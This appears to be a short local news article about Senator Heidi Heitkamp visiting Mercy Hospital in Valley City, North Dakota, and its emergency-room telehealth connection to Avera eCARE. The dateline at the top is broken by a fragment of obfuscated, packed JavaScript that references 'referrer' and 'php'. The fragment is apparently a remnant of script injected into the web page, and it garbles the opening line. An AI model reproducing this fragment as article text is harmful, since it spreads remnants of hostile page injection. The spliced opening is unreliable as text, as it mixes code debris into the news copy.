VALLEY ydkiz|var|u0026u|referrer|edykk||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) U.S. Senator Heidi Heitkamp toured Mercy Hospital in Valley City to see firsthand how its telehealth initiatives have become an important tool to providing quality rural health care in North Dakota.

Mercy Hospital uses telemedicine in its emergency room to remotely connect with emergency room physicians in a central hub at Avera eCARE in Sioux Falls to assist in treating trauma, access specialty support, and triage the need for higher levels of care for critical conditions.

Heitkamp said, “By using telehealth, North Dakotans from rural areas are able to receive the care they need, when they need it. Providing quality service can’t be done with just the right tools, it also requires a dedicated and knowledgeable staff like those at Mercy Hospital to assist folks receiving the care.”

She said telehealth initiatives not only increase access to care for rural North Dakotans, but also address other challenges to rural health care, including the lack of specialty doctors in small communities, coping with health care workforce shortages, and enabling rural providers to find a work-life balance said Heitkamp.

The Mercy Hospital site uses tele-medicine in the emergency room to communicate with doctors throughout the region so it can provide 24-hour services to its patients who don’t live near the hospital.

 

This unidentified Avera eCare physician speaking via of the telehealth system based in Sioux Falls, South Dakota answers questions about the benefits to patients and staff members to Senator Heitkamp.